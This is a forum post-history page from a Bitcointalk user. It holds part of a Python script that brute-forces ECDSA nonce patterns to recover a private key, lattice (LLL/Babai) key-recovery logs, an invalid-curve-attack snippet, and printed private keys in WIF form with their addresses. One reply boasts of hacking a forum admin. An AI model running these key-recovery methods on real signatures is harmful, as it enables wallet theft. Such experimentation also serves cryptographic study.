        pickle.dump(completed_patterns, f)

def load_progress():
    if os.path.exists("progress.pkl"):
        with open("progress.pkl", "rb") as f:
            completed_patterns = pickle.load(f)
        logger.info(f"Loaded progress. Completed patterns: {len(completed_patterns)}")
        return completed_patterns
    logger.info("No previous progress found. Starting from scratch.")
    return set()


def main():
    signatures = [
        {
            'r': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            's': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            'z': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
        },
        {
            'r': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            's': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            'z': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
        },
        {
            'r': '5caxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            's': '21bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
            'z': 'hexadecimalxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
        }
    ]
   
    l = 6  # 6-bit guessing
    x = 2**15
    pubkey = "04xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   
    all_patterns = list(itertools.product(range(2**l), repeat=len(signatures)))
    completed_patterns = load_progress()
    patterns_to_try = [p for p in all_patterns if p not in completed_patterns]
   
    num_processors = min(24, multiprocessing.cpu_count())
    logger.info(f"Using {num_processors} processors")

    try:
        with multiprocessing.Pool(num_processors) as pool:
            args = [(signatures, l, x, pubkey, pattern) for pattern in patterns_to_try]
            for i, result in enumerate(pool.imap_unordered(try_nonce_patterns, args)):
                if result is not None:
                    print(f"Successfully recovered private key: {hex(result)}")
                    return
                completed_patterns.add(patterns_to_try[i])
                if (i+1) % 1000 == 0:
                    save_progress(completed_patterns)
                    logger.info(f"Completed {i+1}/{len(patterns_to_try)} pattern combinations")
    except KeyboardInterrupt:
        logger.info("Interrupted by user. Saving progress...")
        save_progress(completed_patterns)
   
    print("Failed to recover the private key.")

if __name__ == "__main__":
    main()


The code is pretty much self explanatory. i already extended some definitions that has no #comments so its easier for you to read and understand what the code is achieving..
Post
Topic
Board Development & Technical Discussion
Re: LLL & Babai's Nearest Plane Algorithm to find Private key
by
krashfire
on 14/09/2024, 06:08:08 UTC
I was testing on 2 signatures. both created with different K nonce.

as we all know, it will not lead to the correct private key unless the same nonce is reuse. However, i extended the code to include Babai's Nearest plane algorithm to readjust the wrong private key and get it closer to the correct private key by "guiding it " to the correct pubkey coordinates and it manage to only give me the partial private key from the closest vector.

I think this is interesting and will be exploring further to recover full private key.

result from my test.

Code:

root@MSI:/home/krash/test# python3 test.py
INFO:__main__:Using 2 signatures to build the lattice...
INFO:__main__:Short vectors after LLL reduction:
INFO:__main__:Short vector: (166728803922956164814674931204777127007, 0, -269917836034390020152096309044001076683, 0)
INFO:__main__:Short vector: (284880382552528911560114733869411675383, 0, 233299777452147397360970206987837337582, 0)
INFO:__main__:Short vector: (0, 115792089237316195423570985008687907853269984665640564039457584007908834671663, 0, 0)
INFO:__main__:Short vector: (191322878670180847261800180723017804593, 0, -63475476205101254537288001668546129622, 115792089237316195423570985008687907853269984665640564039457584007913129639936)
INFO:__main__:Completed LLL reduction.
INFO:__main__:partial private key from Babai: 000000000000000000000000000000007d6eccb306788626b5f389b33f092c5f



At this point, the experiment is not completed and i only consider something viable if we can recover the full private key. if anyone interested to work with me on how we can refine this experiment further, do DM me.

Hi, bro

You need ask questions in crypto.stackexchangr I think.This will be more productive.

Hey man. How are you. Long time no talk. Yeah... I hate that place. They hate me too. It's mutual. We argued a lot there. Coz the admins was pretty rude. So I hack one of them
 This was 2 years ago. Not interested to go back there.
Post
Topic
Board Development & Technical Discussion
Re: LLL & Babai's Nearest Plane Algorithm to find Private key
by
krashfire
on 14/09/2024, 06:06:33 UTC
I was testing on 2 signatures. both created with different K nonce.

as we all know, it will not lead to the correct private key unless the same nonce is reuse. However, i extended the code to include Babai's Nearest plane algorithm to readjust the wrong private key and get it closer to the correct private key by "guiding it " to the correct pubkey coordinates and it manage to only give me the partial private key from the closest vector.

I think this is interesting and will be exploring further to recover full private key.

result from my test.

Code:

root@MSI:/home/krash/test# python3 test.py
INFO:__main__:Using 2 signatures to build the lattice...
INFO:__main__:Short vectors after LLL reduction:
INFO:__main__:Short vector: (166728803922956164814674931204777127007, 0, -269917836034390020152096309044001076683, 0)
INFO:__main__:Short vector: (284880382552528911560114733869411675383, 0, 233299777452147397360970206987837337582, 0)
INFO:__main__:Short vector: (0, 115792089237316195423570985008687907853269984665640564039457584007908834671663, 0, 0)
INFO:__main__:Short vector: (191322878670180847261800180723017804593, 0, -63475476205101254537288001668546129622, 115792089237316195423570985008687907853269984665640564039457584007913129639936)
INFO:__main__:Completed LLL reduction.
INFO:__main__:partial private key from Babai: 000000000000000000000000000000007d6eccb306788626b5f389b33f092c5f



At this point, the experiment is not completed and i only consider something viable if we can recover the full private key. if anyone interested to work with me on how we can refine this experiment further, do DM me.
hi,
i send your dm reply me
thankyou
hi Cassandra. Yes I have received your dm.. thanks.
Post
Topic
Board Development & Technical Discussion
Topic OP
LLL & Babai's Plane Algorithm to find Private key
by
krashfire
on 13/09/2024, 18:19:56 UTC
I was testing on 2 signatures. both created with different K nonce.

as we all know, it will not lead to the correct private key unless the same nonce is reuse. However, i extended the code to include Babai's Nearest plane algorithm to readjust the wrong private key and to get it closer to the correct private key by "guiding it to the correct pubkey coordinates and it manage to give me the partial private key. I think this is interesting and will be exploring further to recover full private key.

result from my test.

Code:

root@MSI:/home/krash/test# python3 test.py
INFO:__main__:Using 2 signatures to build the lattice...
INFO:__main__:Short vectors after LLL reduction:
INFO:__main__:Short vector: (166728803922956164814674931204777127007, 0, -269917836034390020152096309044001076683, 0)
INFO:__main__:Short vector: (284880382552528911560114733869411675383, 0, 233299777452147397360970206987837337582, 0)
INFO:__main__:Short vector: (0, 115792089237316195423570985008687907853269984665640564039457584007908834671663, 0, 0)
INFO:__main__:Short vector: (191322878670180847261800180723017804593, 0, -63475476205101254537288001668546129622, 115792089237316195423570985008687907853269984665640564039457584007913129639936)
INFO:__main__:Completed LLL reduction.
INFO:__main__:partial private key from Babai: 000000000000000000000000000000007d6eccb306788626b5f389b33f092c5f

Post
Topic
Board Development & Technical Discussion
Re: Quantum-Resistant Bitcoin Address Generator
by
krashfire
on 13/09/2024, 17:42:38 UTC
Your quote is broken, so i had to fix it.

1. That means you're suggesting people to install library not needed (pqcrypto) to run code you shared.
2. You say "Revealing part of the private key each time can make the system more secure as it limits the exposure of the full key".
3. Since we need to find different library which implement XMSS or implement by yourself, that means code you shared is useless.
4. Can you give us link to the ogs-python library?
5. Based on everything you said, you're not being helpful and could give confusion to beginner. So IMO nobody should make a donation to you.
  1. Regarding the pqcrypto library: You’re right. it wasn’t necessary for the code I shared. I included it thinking some might want to explore quantum-safe libraries, but it’s not required to run the script.


2. About revealing parts of the private key: I realize I didn’t explain this well. In XMSS, the key exposure is managed carefully, and it's secure if used correctly. The way it works is different from how we typically think about traditional keys, but it’s safe in this context.


3. On finding an XMSS library: The code was more of an educational example to show how you could build a quantum-resistant-like address, but I understand that it’s not practical without the right library.

4. Link to oqs-python: Sure, You can check out the oqs-python library .

https://github.com/open-quantum-safe/liboqs-python


5. Regarding donations: the goal here was more to explore and share what I’ve been learning

1. Now you're just repeating what you've said previously.
2. Did you even notice that i only write incomplete sentence, where i don't really state or ask anything?
3. But previously you claimed "Full Script for Generating a Quantum-Resistant-Like Address".
4. I did some reading about it and found this statement,

Is OQS safe to use?

OQS began as a research project to enable the prototyping and evaluation of quantum-resistant cryptography. As the field of post-quantum cryptography starts to mature with emerging standards, it is our goal to mature our codebase into a production-track version that is suitable for use in production environments, while also maintaining an experimental-track version of the our suite that continues to support research and development in new post-quantum cryptography algorithms.

5. Noted, but some people would question your actual goal.

i am one of those people that did not question his actual goal. i think i can pretty much understand his intention. however, i do question why the hell are you so rude in your replies to him. whats wrong with you? woke up on the wrong side of the bed? sound like an old prick. your status here doesnt mean others have to take your crap yeah.
Post
Topic
Board Development & Technical Discussion
Re: Secp256k1 / Invalid Curve Attack
by
krashfire
on 21/08/2024, 12:57:44 UTC
I need to write the invalid curve attack. But I have a one problem I got infinity point for target point when I multiply in low order. But for random target point it works perfectly I need for fixed secp256k1 coordinates.

Quote
from sage.all import *

# I need the invalid curve attack.

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
K = GF(p)
a = K(0x0000000000000000000000000000000000000000000000000000000000000000)
b = K(0x0000000000000000000000000000000000000000000000000000000000000007)
E = EllipticCurve(K, (a, b))
G = E(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)

D = K(2)

W = E.sextic_twist(D)

R.<x> = K[]

Kext.<z> = K.extension(x ** 3 - D)

iso = E.change_ring(Kext).isomorphism_to(W.change_ring(Kext))

lowOrder = iso.codomain().order() // 10903

basePoint = iso.codomain().random_point()

basePoint *= lowOrder

target = iso(G)

# Here I got infinity point (0 : 1 : 0) not real point. Here I need to get a real low order point, for invalid curve attack.

target *= lowOrder

print(target)

for i in range(10903 + 1):
   Q = i * basePoint
   
   if Q[0] == target[0] and Q[0] != 0 and target[0] != 0:
      print(i)

you should rewrite the code to skip invalid public key like  0:1:0 . i believe this is for order 2. skip it.
Post
Topic
Board Development & Technical Discussion
Re: Generating BTC and ETH Wallet from the same private key.
by
krashfire
on 16/07/2024, 10:39:18 UTC
I will create two different wallets, one for Bitcoin, and one for Ethereum or any token.

With Ethereum, interaction through smart contracts is risky and I can not be sure that interact with them will not let my money stolen. What if I will lose not only tokens, ETH and also Bitcoin?

Use one wallet for all is convenient but the point here is simple and vital, creating one more wallet is not like a burden in our life so don't let convenience to bring more risk on our money.
you make a very good point.
Post
Topic
Board Development & Technical Discussion
Re: Generating BTC and ETH Wallet from the same private key.
by
krashfire
on 16/07/2024, 08:54:27 UTC
What is the Segwit v1 and Taproot in your example? How do they generated exactly? I put one of the WIF private keys here https://gugger.guru/cryptography-toolkit/#!/ecc and it shows that not all addresses match your generated info.

Particularly, for private key Kyaezi5h3hvpFRmzfXZ5FeuEAWPKpqKmnNpubr9yTNJqQieCd3co
the corresonding Taproot address is bc1p8a0d52uwlw0c4mhnu3alev6dhctaxw56hm3rwytmswt8ty9zsucse8g3xs
and not bc1pqvnugwfratfw7yyg8y3yn9qmyrs8m95ws75ss7wn6cps2yucugckj855g5k

oh.. thanks for the info. i shall correct it now.
Post
Topic
Board Development & Technical Discussion
Topic OP
Generating BTC and ETH Wallet from the same private key.
by
krashfire
on 16/07/2024, 05:59:28 UTC
An update from this previous post

https://bitcointalk.org/index.php?topic=5500340.0

where i have added taproot addr among others.

The result will be,

Code:

----------------------------------------
--------- Crypto Address Set 9 ---------

  Private Key (Hexadecimal): 2772dbdc084f0156c5cca636ef074533880ee290dcdad2cb9baed662468582f6
  Private Key (Decimal): 17843139074645338066716713467154476202518639232659873190527949600837471666934

  WIF Private Keys:
  - Uncompressed: 5J7fF9f7YQMmmJnECNCGYpw5CuEypht3Mnpk3o7XkqX4VH21yG9
  - Compressed: KxYPoTDDsc6gaZUdFAYjdUZfZXahoZSHQmFj1LXpkV9gPhXFuW6M

  Public Keys:
  - Uncompressed: 04cec9fe7ca216456f3b78cec08d7a7cad755e3a4c7e736b6d5be454442ac600447f2dbded53d85b2eef6445d48ef4fc86dee10acc99d35bbbde88408e61b1bb6b
  - Compressed: 03cec9fe7ca216456f3b78cec08d7a7cad755e3a4c7e736b6d5be454442ac60044

  Bitcoin P2PKH (Legacy) Address:
  - Uncompressed: 1JYGf9fa7HJnQGyYaM53WBmXfnEUdX3St7
  - Compressed: 1LwJasvR8hGGJ7AkJbR5xjjrvq4ftu1nnC

  Bitcoin P2SH-Segwit Address:
  - Bitcoin Address: 3BoXyUUFMtFjDpsih4zHLLzvXArhHaG1at

  Bitcoin Bech32 (Native Segwit v0) Address:
  - Bitcoin Address: bc1qm2hc0svuzxr0z0mt0qnpdg5nmtlf9ccdey77y5

  Bitcoin Bech32m (Taproot - Native Segwit v1) Address:
  - Bitcoin Address: bc1p5q77zl6pnh39jkmfrrxgx9z6jxjuxny93xzkrzj94s5cfuml7h3qfktnv9

  Ethereum Address:
  - Ethereum Address: 0x9c854d2f218db0e2e6ed309745749a75b1bccfd1


----------------------------------------
--------- Crypto Address Set 10 ---------

  Private Key (Hexadecimal): 475e3630e165e09930a0c52787961bf7051a5e29075bf24e28fe45b5eb4cc317
  Private Key (Decimal): 32280669885618423946370639242003116449287946444618803757280636397366459286295

  WIF Private Keys:
  - Uncompressed: 5JMiagvho4oRwyrkzmsktMBKEripi9dYkR38tvN9vJ3LP8Fzs4p
  - Compressed: KycSXhE34Kmw7fxdC152he4XWATbad6K8d6RrAYNNEDJYRPb6ycw

  Public Keys:
  - Uncompressed: 04d07107d0b9d10972c5bbb5ff60bdb2766d61b9acfcebcbf46e63041fb695d05938b9e2bc2f69f814a1ace6786984db7ef0f34923ba0bc12beaafc1e372dd5509
  - Compressed: 03d07107d0b9d10972c5bbb5ff60bdb2766d61b9acfcebcbf46e63041fb695d059

  Bitcoin P2PKH (Legacy) Address:
  - Uncompressed: 124m85FNFcCmhxH8DXbvzDCQcMkEC99TJH
  - Compressed: 17TuXFxydfc4BqaELbNYEUMXHtdQLwqMtd

  Bitcoin P2SH-Segwit Address:
  - Bitcoin Address: 34C8GkRp1auopNaoTWiWAPwXGYNFpWapGq

  Bitcoin Bech32 (Native Segwit v0) Address:
  - Bitcoin Address: bc1qgmnkng9wccre7gtjy6c6gfdf7vxjcvunaqda92

  Bitcoin Bech32m (Taproot - Native Segwit v1) Address:
  - Bitcoin Address: bc1pq0zcacknfq78zw0tg876pusw22jqed3kffvx0fvxe5c5udw3kruqvrcpzu

  Ethereum Address:
  - Ethereum Address: 0x33521df83614c6140e2adda2adcade0f8f63d806



I tried my best to make the code as "readable" as possible.  Do check out the code and give me your opinion. you may clone here if you like it. https://github.com/KrashKrash/btc-addr-generator

Post
Topic
Board Development & Technical Discussion
Re: Searching for K nonce
by
krashfire
on 25/06/2024, 06:12:51 UTC
Hi

Is it worth to brute force the K nonce?
How fast is it? Is it faster than bsgs mode?
no thats slower. bsgs is better.